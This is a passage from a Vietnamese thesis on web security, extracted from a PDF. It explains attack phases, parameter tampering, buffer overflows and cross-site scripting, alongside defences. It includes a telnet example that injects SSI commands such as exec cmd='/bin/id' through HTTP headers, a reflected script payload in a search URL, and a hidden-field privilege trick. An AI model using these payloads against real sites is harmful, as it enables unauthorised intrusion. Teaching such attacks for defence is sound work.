Sự tấn công không nằm trong khuôn khổ vài kỹ thuật đă phát hiện, mà linh động và tăng lên tùy vào những sai sót của nhà quản trị hệ thống cũng như của những người lập trình ứng dụng và c
Trang 1Lời cảm ơn
Sau gần 3 tháng nỗ lực thực hiện, luận văn nghiên cứu “tìm hiểu các cơ chế để bảo mật hệ thống thương mại điện tử - web security ” đã phần nào hoàn thành Ngoài sự cố gắng hết mình của bản thân, tôi đã nhận được sự khích lệ rất nhiều từ phía nhà trường, thầy cô, gia đình và bạn bè
Trước hết con xin cám ơn ba mẹ đã luôn động viên và tạo mọi điều kiện tốt để con học tập và hoàn thành luận văn tốt nghiệp này
Em xin cám ơn thầy cô trường Đại Học Kỷ Thuật Công Nghệ đã truyền đạt những kiến thức quý báu cho em trong suốt quá trình học tập Đặc biệt, em xin bày tỏ lòng chân thành sâu sắc đến thầy Huỳnh Quốc Bảo, người đã tận tình hướng dẫn và giúp
đỡ em trong quá trình làm luận văn tốt nghiệp
Xin cám ơn tất cả bạn bè đã và đang động viên, giúp đỡ tôi trong quá trình học tập
và hoàn thành tốt luận văn tốt nghiệp này
Trang 2
MỤC LỤC
TỔ CHỨC LUẬN VĂN 8
CHƯƠNG 1: TÌM HIỂU ỨNG DỤNG WEB 9
1.1 Kiến trúc cơ bản của ứng dụng web 9
1.2 Hoạt động của ứng dụng web 10
1.3 Kết nối với các cơ sở dữ liệu 12
CHƯƠNG 2 : TÌM HIỂU QUÁ TRÌNH TẤN CÔNG CỦA HACKER 14
2.1 Các quy trình : 14
2.2 Kết luận 19
CHƯƠNG 3 : TÌM HIỂU TẤN CÔNG CHÈN THAM SỐ 20
3.1 HTML Form Field Manipulation – thao tác trên biến ẩn form 21
3.1.1 Khái niệm 21
3.1.2 Kĩ thuật phòng chống 22
3.2 URL Manipulation – thao tác trên URL : 23
3.2.1 Khái niệm 23
3.2.2 Kĩ thuật phòng chống 24
3.3 HTTP Header Manipulation – thao tác trên HTTP header: 25
3.3.1 Khái niệm : 25
3.3.2 Kĩ thuật phòng chống 29
3.4 Hidden Manipulation - Thao tác vùng ẩn 29
Trang 3CHƯƠNG 5 : CHÈN MÃ THỰC THI TRÊN TRÌNH DUYỆT
CROSS SITE SCRIPTING 33
5.1 Khái niệm XSS 33
5.2 Phương thức hoạt động XSS 33
5.3 Truy tìm lổ hổng XSS của ứng dụng web 36
5.4 Các bước thực hiện tấn công XSS : 37
5.5 Cách phòng chống 38
CHƯƠNG 6 : TẤN CÔNG PHIÊN LÀM VIÊC 40
6.1 Sự ra đời và khái niệm 40
6.1.1 Sự ra đời của session 40
6.1.2 Khái niệm : 40
6.2 Cơ chế tấn công phiên làm việc 41
6.2.1 Ấn định phiên làm việc( session fixation) 41
6.2.2 Đánh cắp phiên làm việc( session hijacking) 43
6.3 Cách phòng chống : 46
CHƯƠNG 7: CHÈN CÂU TRUY VẤN - SQL INJECTION 48
7.1 Khái niệm SQL injection 48
7.2 Các cách tấn công 48
7.2.1 Dạng tấn công vượt qua kiểm tra đăng nhập 48
7.2.2 Tấn công dưa vào câu lệnh SELECT 52
7.2.3 Tấn công dựa vào câu lệnh kết hợp UNION 53
7.2.4 Dạng tấn công sử dụng câu lệnh INSERT 54
7.2.5 Dạng tấn công sử dụng stored-procedures 55
7.3 Cách phòng tránh 56
7.3.1 Kiểm soát chặt chẽ dữ liệu nhập vào 56
7.3.2 Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu 58
CHƯƠNG 8 : TẤN CÔNG TỪ CHỐI DỊCH VỤ - DENY of SERVICES 59
8.1 Khái niệm về Tcp bắt tay ba chiều: 59
8.2 Tấn công kiểu SYN flood 60
Trang 48.5 Flood Attack 62
8.6 Tấn công kiểu DDoS (Distributed Denial of Service) 63
8.7 Tấn công DRDoS (Distributed Reflection Denial of Service) – Tấn công từ chối dịch vụ phản xạ nhiều vùng 65
8.8 Tấn công các nguồn tài nguyên khác 67
8.9 Các cách phòng chống 68
CHƯƠNG 9 : NHỮNG KẾT LUẬN TRONG QUÁ TRÌNH PHÒNG CHỐNG 70
9.1 Nhiệm vụ nhà quản trị mạng 70
9.2 Nhiệm vụ người thiết kế ứng dụng web 71
9.3 Nhiệm vụ người sử dụng ứng dụng web 72
CHƯƠNG 10: GIỚI THIỆU CÁC GIẢI PHÁP BẢO MẬT HỆ THỐNG MẠNG 73 10.1 Firewall (Bức tường lửa) 73
10.1.1 Giới thiệu về firewall 73
10.1.2 Phân loại Firewall 73
10.1.3 Sản phầm của Firewall 74
10.1.4 Chức năng chính của Firewall 76
10.1.5 Các kỹ thuật dùng trong Firewall 77
10.2 Intrusion detection system (Hệ thống phát hiện xâm nhập) 83
10.2.1 Khái niệm: 83
10.2.2 Mô hình hoạt động 84
10.2.2.1 Chi tiết về IDS 85
10.2.2.2 Đánh giá về mức độ an toàn của hệ thống: 86
Trang 510.3.2 Mô hình hoạt động: 88
10.3.3 Các thành phần của IPS: 89
10.3.3.1 Phân tích sự hoạt động liên thành phần: 89
10.3.3.2 Đánh giá về mức độ an toàn của hệ thống: 90
10.3.3.3 Khả năng phát triển trong tương lai: 90
CHƯƠNG 11: DEMO THỰC TẾ CÀI ĐẶT VÀ CẤU HÌNH TƯỜNG LỬA “IPCOP” 91
11.1 Giới thiệu 91
11.2.Triển khai IPCOP firewall/ IDS 94
11.3 Quản trị IPCOP firewall/IDS 103
KẾT LUẬN 113
TÀI LIỆU THAM KHẢO 114
Trang 6GIỚI THIỆU
Ngày nay, nhờ có internet, cuộc sống con người được cải thiện rất nhiều, trao đổi thông tin nhanh hơn và thuận tiện hơn Thương mại điện tử trên thế giới đang có xu hướng phát triển mạnh Kỹ thuật số giúp con người tiết kiệm đáng kể các chi phí như chi phí vận chuyển trung gian, chi phí giao dịch… và đặc biệt là giúp tiết kiệm nguồn nhân lực và thời gian để con người có thể đầu tư vào các hoạt động khác Do đó, lợi nhuận con người kiếm được gia tăng gấp bội Không những thế, thương mại điện tử còn giúp con người có thể tìm kiếm tự động theo nhiều mục đích khác nhau, tự động cung cấp thông tin theo nhu cầu và sở thích của con người… Giờ đây, con người có thể ngồi tại nhà để mua sắm mọi thứ theo ý muốn
Khi Internet được phổ biến rộng răi, các tổ chức, cá nhân đều có nhu cầu giới thiệu thông tin của ḿình trên xa lộ thông tin cũng như thực hiện các phiên giao dịch trực tuyến Vấn đề nảy sinh là khi phạm vi ứng dụng của các ứng dụng Web ngày càng mở rộng thì khả năng xuất hiện lỗi và bị tấn công càng cao, trở thành đối tượng cho nhiều người tấn công với các mục đích khác nhau Như phá hoại , đánh cắp thông tin mật , ăn
Trang 7Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên Internet, số lượng các vụ tấn công trên Internet cũng tăng theo cấp số nhân Trong khi các phương tiện thông tin đại chúng ngày càng nhắc nhiều đến những khả năng truy nhập thông tin của Internet, thì các tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm và an toàn dữ liệu cho các máy tính được kết nối vào mạng Internet
Công nghệ Web đang phát triển nhanh chóng , tuy nhiên theo thị hiếu, chỉ chủ yếu chú trọng đến yếu tố thẩm mĩ, yếu tố tốc độ , sự tiện dụng … nên dẫn đến nhiều khuyết điểm về sự bảo mật và độ an toàn Sự tấn công không nằm trong khuôn khổ vài
kỹ thuật đă phát hiện, mà linh động và tăng lên tùy vào những sai sót của nhà quản trị hệ thống cũng như của những người lập trình ứng dụng và cả đối với người sử dụng
Luận văn được thực hịên với mục đích tìm hiểu, phân tích các lỗ hổng bảo mật trong các ứng dụng web để qua đó đề xuất các phương án khắc phục Song song đó, luận văn sẽ DEMO bằng một chương trình mã nguồn mở dựa trên cơ chế của firewall
và IDS rất hữu ích cho những người quản trị bảo mật hệ thống
Trang 8TỔ CHỨC LUẬN VĂN
Luận văn được chia thành 11 chương
Chương đầu tiên tìm hiểu và giới thiệu các ứng dụng web cơ bản, các vấn đề cơ bản làm nền tảng cho các kiến thức tấn công các lổi bảo mật
Từ chương 2 đến chương 8 : Tìm hiểu quá trình và các phương pháp tấn công của hacker, từ đó tìm ra các biện pháp phòng chống khắc phục
Chương 9 đến chương 10: Rút ra kết luận quá trình bảo mật phòng chống chung và giới thiệu các giải pháp, công nghệ bảo mật như firewall, IDS, IPS… cho những nhà quản trị hệ thống
Chương cuối là thực hiện Demo triển khai và cấu hình firewall IPCOP trên hệ thống mạng máy tính ảo Thử nghiệm các phương pháp tấn công, sau đó dùng hệ thống IDS tích hợp sẵn IPCOP để phát hiện tấn công đó
Trang 9CHƯƠNG 1: TÌM HIỂU ỨNG DỤNG WEB
Web application là một ứng dụng, thường bao gồm một tập hợp các script cư trú ở Web server và tương tác với database hay các nguồn nội dung động khác (dynamic content) Ứng dụng này nhanh chóng được sử dụng rộng rãi vì nó cho phép nhà cung cấp dịch vụ và khách hàng chia sẻ và vận dụng thông tin theo các độc lập nền thông qua cơ sở hạ tầng của Internet Một vài ví dụ về web application như: công
cụ search, Webmail, shopping cart và portal system
1.1 Kiến trúc cơ bản của ứng dụng web
Về cơ bản, một ứng dụng web bao gồm vài thành phần, các thành phần này là một web server, nội dung ứng dụng có trên 1 web server, và tiêu biểu là nơi lưu trử dử liệu cuối cùng cho các giao diện và truy cập ứng dụng Đây là mục tiêu rất cơ bản của ứng dụng
Kiến trúc ứng dụng web được tạo bởi các thành phần sau :
- Web server
- Nội dung ứng dụng (Application content)
- Lưu trữ dử liệu (datastore)
1.1.1 Web server
Web server là dịch vụ chạy trên máy tính phục vụ nội dung web Dịch vụ này tiểu biểu lắng nghe trên các cổng 80 cho giao thức http hoặc trên cổng 443 ( https) Đôi khi các webserver cũng chạy trên các cổng không chuẩn Microsoft’s Internet Imformation Server(IIS) và Apache là ví dụ về các webserver hiên nay Nó được chú
Trang 10Hầu hết việc truyền thông các web servers sử dụng Hyper Text Tranfer Protocol (giao thức truyền siêu văn bản - HTTP) và các yêu cầu được tiền tố đặt trước
là “ http://” Các thông tin của HTTP được tìm thấy trong RFC 2616 và RFC 1945
Ý tưởng ứng dụng web chạy trên giao thức SSL webserver sẽ được truy cập bằng giao thức HTTPS( Hyper Text Transfer Protocol Secure) với tiếp đầu ngữ là “ https://” Thông tin tìm thấy từ RFC 2818
1.1.2 Application Content ( nội dung ứng dụng )
Nội dung ứng dụng là một chương trình tác động để lấy các yêu cầu và sử dụng các tham số được gởi bởi trình duyệt để thực hiện một chức năng nào đó Nội dung của ứng dụng tồn tai trên webserver Nội dung ứng dụng là một nội dung không cố định hay đúng hơn là nội dung lập trình logic hay nội dung mà thực hiện các hành động khác nhau dựa trên tham số được gởi từ client Theo cách này, các chương trình
sẽ được thực thi hoặc được biên dịch khác nhau rất lớn
Ví du, PHP là một trình biên dịch được ghi vào trong hệ nhị phân máy chủ web
và sự tác động các kịch bản PHP là khi được biên dịch bởi máy chủ web của chính nó CGI là một chương trình lưu trú trong một thư mục đặ biệt của máy chủ web và khi những yêu cầu được tạo ra trang đó, máy chủ web thực thi các lệnh
Trong một số trường hợp, các chương trình trong thư mục CGI sẽ trở thành kịch bản PERL Những trường hợp này máy chủ web sẽ thực hiện phiên dịch PERL
mà nó sẽ xử lý từng đặc điểm các chức năng trong kịch bản đó
1.1.3.The Data Store ( lưu trữ dử liệu)
Trang 11Hình bên dưới minh họa mô hình ứng dụng Web ba tầng Tầng đầu tiên thông thường là trình duyệt Web hoặc giao diện người dùng Tầng thứ hai là công nghệ kỹ thuật tạo nội dung động như Java servlets (JSP) hay Active Server Pages (ASP) Còn tầng thứ ba là cơ sở dữ liệu chứa nội dung và dữ liệu người dùng (như username, password, mã số bảo mật xã hội, chi tiết thẻ tín dụng)
Hình 1-1: kiến trúc một ứng dụng web
Quá trình hoạt động bắt đầu với yêu cầu được tạo ra từ người dùng trên trình duyệt, gửi qua Internet tới trình chủ Web ứng dụng (Web application Server) Web ứng dụng truy cập máy chủ chứa cơ sở dữ liệu để thực hiện nhiệm vụ được yêu cầu: cập nhật, truy vấn thông tin đang nằm trong cơ sở dữ liệu Sau đó ứng dụng Web gửi thông tin lại cho người dùng qua trình duyệt
Trang 12Một ứng dụng phải được viết trong một ngôn ngữ chủ được hổ trợ bởi hệ thống đặc biệt.Mổi DBMS(Database Managerment System) có cách sở hữu những ứng dụng được cho phép sử dụng nó Ưu điểm của SQL làm dể dàng các nhà phát triển để chuẩn hóa dử liệu định nghĩa và dử liệu thao tác và hầu hết các nhà quản trị cơ sở dử liệu chon SQL là ngôn ngữ truy vấn của họ
Tuy nhiên , ứng dụng và sự phân chia cơ sở dử liệu chỉ đạt được ưu điểm của
mô hình lập trình Client-Server Giao diện ứng dụng với cơ sở dử liệu bằng phương pháp kết nối cơ sỏ dử liệu APIs cung cấp với ngôn ngữ lập trình được sử dụng để phát triển ứng dụng Những bộ kết nối cơ sở dử liệu APIs là có thể lưu trữ những thông tin kết nối cơ sở dử liệu và ủy nhiệm thư, và chúng có khả năng để gởi câu truy vấn SQL đến cơ sở dử liệu, nhận kết quả từ câu truy vấn và trả chúng lại cho ứng dụng
Có 3 cách phổ biến nhất của giao diện ứng dụng web với cơ sở dử liệu sau cùng
là :
- Native database APIs
- ODBC
- JDBC
Sử dụng Native Database APIs
Ngôn ngữ lập trình ứng dụng web như ASP, PHP … có APIs để cung cấp khả năng thực hiện hoặt động cơ sở dử liệu với các máy chủ cơ sở dử liệu phổ biến như : Oracal, DB2, MySQL và SQL server…Người phát triển ứng dụng sẽ lựa chọn gọi APIs thích hợp khi kết nối cơ sở dử liệu sau cùng, giống sự cho phép bởi ngôn ngữ lập trình
Sử dụng ODBC
Quản lý kết nối cơ sở dử liệu với APIs của ngôn ngữ lập trình thì quá cồng kềnh Đôi lúc một ứng dụng có thể cần để tương tác các hệ thống cơ sở dử liệu khác từ các nhà
Trang 13Sử dụng JDBC
Java database Connectivity(JDBC) là tương đương khung ứng dụng Java của ODBC, khái niêm JDBC gần giống ODBC khác nhau duy nhất giữa những khung thật tế là JDBC được tiêu chuẩn hóa cung với khung J2EE và được sử dụng chỉ riêng các ưng s dụng web bằng java Máy chủ ứng dụng Java phổ biến như là BEA Weblogic, Allaire JRun, Tomcat, và Resin sử dụng JDBC để cung cấp kết nối cơ sở dử liệu cho nhưng ứng dụng
Trang 14CHƯƠNG 2 : TÌM HIỂU QUÁ TRÌNH TẤN CÔNG CỦA
HACKER
2.1 Các quy trình :
Theo tác giả George Kurtz trong cuốn sách Hacking Exposed thì Hacking có 3 giai đoạn gồm 9 bước
Trang 15Hình 2-1 : Quy trình các bước tấn công
Quá trình tấn công của một HACKER có thể đc khái quát qua 3 giai đoạn sau :
Giai đoạn 1 : Thu thập thông tin
Giai đoạn 2 : Phân tích và hành động
Giai đoạn 3 : Dừng và xoá dấu vết
Thu thập thông tin Giai đoạn 1 :
Bước 1: FootPrinting (In dấu ấn)
Trang 16Bước 2: Sanning ( Quét mạng )
Khi đã có nhưng thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có Việc này bao gồm:
Trang 17Bước 3: Enumeration (Điểm danh mạng )
Bước thứ ba là tìm kiếm những tài nguyên đựoc bảo vệ kém, hoạch tài khoản người dung mà có thể sử dụng để xâm nhập Nó bao gồm các mật khẩu mặc định, các script và dich vụ mặc định Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này
Đến bước này , các attacker bắt đầu kiểm soát server sơ bộ , xác định các account trên server , mức độ bảo vệ, tài nguyên chia sẻ…
Tools: Dùng các công cụ quét, nbtstat, net view, UserInfo, UserDump…
Giai đoạn 2: Phân tích và hành động
Bước 4: Denial of Service (Tấn công từ chối dịch vụ)
Đến bước này , hacker đã đủ các thông tin cần thiết để sử dụng các kỹ thuật tấn công DoS đánh hệ thống Tuy nhiên với hầu hết hacker sẽ không mong muốn là dừng lại ở đây
Cung cụ thực hiện : Synflood, IP Smurf …
Bước 5: Gaining Access (Đột nhập hệ thống)
Với các thông tin tìm được ở bước trước sử dụng các cách để phát hiện mật khẩu của một tài khoản nào đó
Các tool thường được sử dụng ở bước này là NAT, podium, hoặc Lopht
Bước 6: Privilege Escalation (Nâng quyền hệ thống)
Trang 18admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền John và Riper là hai chương trình crack password rất hay được sử dụng
Có thể sử dụng Sniffer để bắt các gói tin, từ đó phân tích tìm ra mật khẩu
Đây là một giai đoạn thực sự khó vì việc nâng quyền đòi hỏi sự can thiệp không chính tắc vào hệ điều hành hoặc vào Hệ thống phần mềm
Bước 7: Pilfering (Khai thác hệ thống)
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng Những file text chứa password hay các cơ chế không an toàn khác
có thể là mồi ngon cho hacker
Thông tin lấy từ bước trên đủ để hacker định vị server và điều khiển server Nếu bước này không thành công , thì chỉ còn mổi cách là DoS
Các tools sử dụng : net use, net view, telnet, ftp…
Giai đoạn 3: Dừng và xoá dấu vết
Bước 1: Creating Backdoors (Tạo cổng hậu)
Trang 19Bước 9: Covering Tracks (Xoá dấu vết)
Vì hệ thống luôn ghi nhận những hành động những gì đã xảy ra Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai Đây là bước cực kì quan trọng
Công cụ : Clear logs , hide tools, Zap , Event log GUI , rootkits , file streaming
2.2 Kết luận
Việc thu thập thông tin là vô cùng quan trọng cho việc tấn công vào
một hệ thống máy đích Cho dù hacker tấn công theo phương diện nào thì
việc thu thập vẫn là cần thiết Vấn đề là việc thực hiện sẽ theo từng bước như
thế nào Có thể trong những bước đă nêu hacker không cần phải đi qua theo
thứ tự hay qua hết, nhưng việc nắm rõ thông tin của máy đích luôn là điều kiện
tiên quyết để dẫn đến thành công trong việc tấn công
Tùy vào nội dung thông tin mà hacker thu thập được mà hacker sẽ
quyết định tấn công theo kỹ thuật nào Do đó, việc bảo mật cho một hệ thống
cần đòi hỏi sự kết hợp không chỉ của riêng nhà quản trị hệ thống mà còn của
nhà thiết kế ứng dụng và sự hợp tác của cả những khách hàng sử dụng ứng
dụng
Trang 20CHƯƠNG 3 : TÌM HIỂU TẤN CÔNG CHÈN THAM SỐ
Trang 21- Biến ẩn form
- Thao tác trên URL
- thao tác trên HTTP header
3.1 HTML Form Field Manipulation – thao tác trên biến ẩn form
Khi người dùng thao tác trên trang web, thì thông tin được chọn đó sẽ lưu vào giá trị của biểu mẫu, và sẽ được gửi về ứng dụng như một HTTP request (GET hay POST) HTML cũng có thể lưu giá trị trong Hidden Field, những giá trị được lưu trong Hidden Field sẽ không được hiển thị trên màn hình
Người dùng có thể thay đổi thuộc tính tất cả các loại biểu mẫu để nhập bất cứ giá trị nào họ muốn Chẳng hạn như họ chỉ cần lưu trang web đó lại, chọn “view source” để xem và sửa nội dung sau đó chọn “save” và chạy trang web đó lại trên trình duyệt
Ví dụ1: Ứng dụng dùng một biểu mẫu để nhập vào tên người dùng và mật
khẩu sau đó gửi tới một CGI để xác thực bằng HTTP trên SSL Một số người phát triển ứng dụng sẽ giới hạn chiều dài của tên người dùng và mật khẩu nhập vào bằng cách thiết lập giá trị “maxlength” để ngăn chặn bị đầy buffer do hacker có thể nhập vào một chuỗi rất dài Tuy nhiên với cách phòng ngừa như trên thì hacker chỉ cần lưu trang này web lại, bỏ đi giới hạn chiều dài và chạy lai trên trình duyệt
Trang 22khác trong cùng một ứng dụng
Ví dụ2: Cùng ứng dụng có form để nhập tên người dùng và mật khẩu như trên
thì sau khi đăng nhập có thể sẽ có một thẻ HTML như sau:
<input name="quyen_quan_tri" type="hidden" value="N">
Với tình huống này hacker có thể thay đổi giá trị value thành “Y”, thì ứng dụng sẽ xem như người dùng mới đăng nhập này là người quản trị ứng dụng Hidden form field còn được dùng cho nhiều mục đích khác nữa, nên sẽ vẫn có chỗ hở mà hacker có thể lợi dụng
Người thiết kế ứng dụng có thể dùng một biến session để tham chiếu đến thông tin được lưu trữ trên cache của server Khi ứng dụng cần kiểm tra thông tin người dùng, ứng dụng sẽ so sánh giá trị session với giá trị trong bảng session trên server và
sẽ chỉ đến thông tin của người dùng đó trong cache hay cơ sở dữ liệu
Nếu không thể thực hiện theo cách trên ta có thể thực hiện cách sau:
- Ghép tên và giá trị của form hidden field thành một chuỗi đơn Khi đó khoá sẽ được giấu kĩ Chuỗi này có thể gọi là Outgoing Form Message Sử dụng thuật toán mã hoá MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi Outgoing
Trang 233.2 URL Manipulation – thao tác trên URL :
Kiểu tấn công URL Manipulation cũng gần giống như kiểu lợi dụng Hidden Form Field để tấn công Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách : GET hay POST Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện trong chuỗi URL
Ví dụ:
Có một trang web cho phép thành viên đã được thay đổi mật khẩu Với trường hợp bình thường., thì thay đổi của người dùng sẽ được ghi nhận khi ấn nút submit Và mệnh lệnh được gửi theo HTTP request
Trang 24hyperlink để chuyển sang một trang khác hoặc ngay trong trang đó thì có nghĩa anh ta
đã gửi một yêu cầu GET Rất nhiều yêu cầu sẽ có chuỗi truy vấn với các tham số như một biểu mẫu Do đó hacker có thể xem và thay đổi chúng
3.2.2 Kĩ thuật phòng chống
Khi cần gửi tham số từ máy khách lên máy chủ, thì nên kết hợp với một session token để kiểm tra Session token có thể là một tham số hoặc một cookie và Session token cũng đã có chế độ bảo mật riêng của nó
Trong ví dụ trên, trước khi xử lý việc thay đổi mật khẩu thì Session token sẽ được kiểm tra xem người gửi yêu cầu có trong phiên làm việc của người đang thay đổi của mật khẩu hay không Điều đó có nghĩa là người gửi yêu cầu có phải là admin hay không, nếu không phải thì không được phép thay đổi mật khẩu
Giải pháp tốt nhất là tránh sử dụng tham số trong chuỗi truy vấn ( đối với cả hidden field) Có hai lý do là hacker có thể tấn công vào các tham số này Hai là với nhiều tham số thì không nên cho người dùng thấy giá trị ví dụ là mật khẩu vì có thể có một người khác đang đứng sau người dùng cũng sẽ thấy được mật khẩu và ngoài ra trình duyệt cũng thường lưu lại các địa chỉ này
Nếu không dùng hai cách trên thì ta có thể dùng cách mã hoá các tham số, cách này có ưu điểm bảo mật hơn nhưng đồng thời cách cài đặt và sử lý phức tạp hơn hai cách trên rất nhiều
Trang 253.3 HTTP Header Manipulation – thao tác trên HTTP header:
3.3.1 Khái niệm :
HTTP Header là thông tin điều khiển từ các yêu cầu HTTP của web client đến web server, và các phản hồi từ web server đến web client Mỗi header thông thường bao gồm một dòng đơn của ASCII text với tên và dữ liệu Sau đây là 1 ví dụ về header:
Host: www.someplace.org Pragma: no-cache
Cache-Control: no-cache User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14 Referer: http://www.someplace.org/login.php Content-type: application/x-www-form-urlencoded Content-length: 49
Thông thường các HTTP header được sử dụng bởi các trình duyệt và các phần mềm web server Hầu hết các ứng dụng web thì không quan tâm đến nó Tuy nhiên vẫn có một vài nhà thiết kế web dùng HTTP header trong ứng dụng mạng của mình, điều đó có thể vô tình tạo ra một lỗ hổng trong trang web Nhờ đó hacker có thể lợi dụng để phá hoại bằng cách chỉnh sửa nội dung của các HTTP header Cho dù những
Trang 27su-2.05# telnet localhost 80 Trying 127.0.0.1
Connected to localhost
Escape character is '^]'
GET / HTTP/1.0 Referer: <! #virtual include="somefile.log" >
User-Agent: <! #exec cmd="/bin/id" >
HTTP/1.1 200 OK Date: Mon, 17 Dec 2001 20:39:02 GMT Server:
Trang 28Referer: <! #virtual include="somefile.log" >
Referer: <thực thi lệnh java script để phá hoại trang web>
Ví dụ 2:
Còn với Accept-Language header dùng để xác định ngôn ngữ người dùng sử dụng Một ứng dụng mạng thực hiện việc quốc tế hoá ngôn ngữ bằng cách đặt label ngôn ngữ lên đầu HTTP header và chuyển nó tới database để có thể xem được dưới dạng text Nếu nội dung của header được gửi nguyên mẫu tới database, khi đó hacker
có thể dùng các câu lệnh SQL để sửa lại header Nếu như thành phần header được dùng để xây dựng tên file để từ đó có thể xem đúng ngôn ngữ, lúc này hacker có thể sửa đổi để dẫn người sử dụng đến một nhánh khác
Accept-Language "en, fr"
Ứng dụng web tìm tên ngôn ngữ trong HTTP header trong cơ sở dữ liệu Chính vì vậy hacker có thể chèn lệnh SQL(SQL injection) vào bằng cách chỉnh sửa header Tương tự nếu nội dung của header là một tên tập tin để từ đó sẽ tìm ra tên ngôn ngữ thì hacker có thể dùng cách tấn công path traversal
Trang 293.3.2 Kĩ thuật phòng chống
Không nên tin tưởng vào header nếu chưa có các biện pháp an toàn Với các header gửi từ server chẳng hạn như cookie thì có thể được mã hoá Còn với các header gửi từ client như referer thì không nên dùng chúng để thực hiện các biện pháp
an toàn
Không bao giờ để những giá trị nhạy cảm vào header
Không nên cho người khác có thể xem các file thông qua các đoạn script
3.4.2 Cách phòng chống
Phải chắc chắn rằng form được nhập phải từ trang gọi đoạn script Phải kiểm tra đoạn script không được thực thi trực tiếp bởi URL Tuy nhiên, chúng ta không thể
Trang 31CHƯƠNG 4 : TẤN CÔNG TRÀN BỘ ĐỆM BUFFER
OVERFLOW ATTACKS
4.1 Buffer Overflow Attacks
Tình trạng tràn bộ đệm xảy ra khi dữ liệu được gửi đến ứng dụng nhiều hơn mong đợi Kỹ thuật tấn công này có thể làm cho hệ thống bị tê liệt hoặc làm cho hệ thống mất khả năng kiểm soát
Ví dụ:
Một chương trình cần nhập dữ liệu của người dùng với kích thước tối đa 256 bytes Hệ điều hành sẽ cấp phát một vùng trong bộ nhớ máy tính (đó chính là một bộ đệm - buffer) dành cho chương trình để lưu trữ 256 bytes hoặc ít hơn Nếu người dùng nhập vào quá 256 bytes và chương trình không kiểm tra điều này, tràn bộ đệm
sẽ xảy ra Vì chương trình máy tính cần không gian để lưu trữ những byte dư ra, nó sẽ chứa lên những vùng nhớ kế cạnh và ghi đè lên những dữ liệu có sẵn tại đó
Còn có một bộ đệm khác trên bộ nhớ máy tính dùng để lưu trữ địa chỉ cho lệnh máy kế tiếp sẽ được thực thi sau khi gọi hàm Vùng nhớ này được cấp phát trên stack
và được gọi là con trỏ lệnh (instruction pointer) Tiếp tục ví dụ trên, giả sử sau khi đọc vào dữ liệu nhập của người dùng, chương trình sẽ thực hiện lệnh in ra nội dung Con trỏ lệnh khi đó sẽ có giá trị là địa chỉ vùng nhớ của lệnh in Máy tính sẽ thực hiện các thao tác tuần tự như sau: đọc dữ liệu nhập của người dùng, lưu trữ nó vào bộ đệm, kiểm tra con trỏ lệnh để biết lệnh thực thi kế tiếp, tìm địa chỉ vùng nhớ của lệnh in, đọc nội dung của bộ đệm và in nó ra màn hình
Bây giờ hãy kết hợp lại, nếu hacker có thể làm tràn bộ đệm sao cho thay đổi nội dung của con trỏ lệnh bằng cách trỏ đến đoạn mã lệnh của mình, anh ta có thể làm được nhiều chuyện khác Và đó là những gì diễn ra trong thực tế Hacker làm tràn bộ đệm sao cho con trỏ lệnh sẽ trỏ đến một đoạn mã tạo ra một giao tiếp dòng lệnh
Trang 324.2 Cách phòng chống
¾ Luôn sử dụng kiểm tra giới hạn khi viết chương trình
¾ Xem xét lại tính bảo mật của mã nguồn các phần mềm kế thừa
¾ Tránh sử dụng các hàm không cung cấp kiểm tra giới hạn trong ngôn ngữ C, thay vào đó là các hàm tương đương Thay các hàm gets, strcpy, strcat, sprintf, scanf, sscanf bằng các hàm tương đương fgets, strncpy, strncat, bcopy, bzero, memcpy
Trang 33CHƯƠNG 5 : CHÈN MÃ THỰC THI TRÊN TRÌNH DUYỆT
CROSS SITE SCRIPTING
5.1 Khái niệm XSS
Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để
tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công
bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ) những thẻ HTML hay
những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác
như ăn cắp tài khoản , đọc thông tin cookie của phiên người dùng đang làm việc…
Trong đó, những đoạn mã nguy hiểm đựơc chèn vào thường được viết bằng các
Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ
HTML
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến hiên
nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà
phát triển web và cả những người sử dụng web Bất kì một website nào cho phép
người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy
hiểm thì đều có thể tiềm ẩn các lỗi XSS Luận văn này sẽ đề cập sơ lược tới XSS với
một số kĩ thuật tấn công này
5.2 Phương thức hoạt động XSS
Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các
yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin
Trang 34http://www.example.com/search.cgi?query=<script>alert('XSS was found
!');</script>
Và trình duyệt sẽ hiện lên một thông báo "XSS was found !" Các đoạn mã trong thẻ <script> không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ <script> Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS
Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó khi
họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể
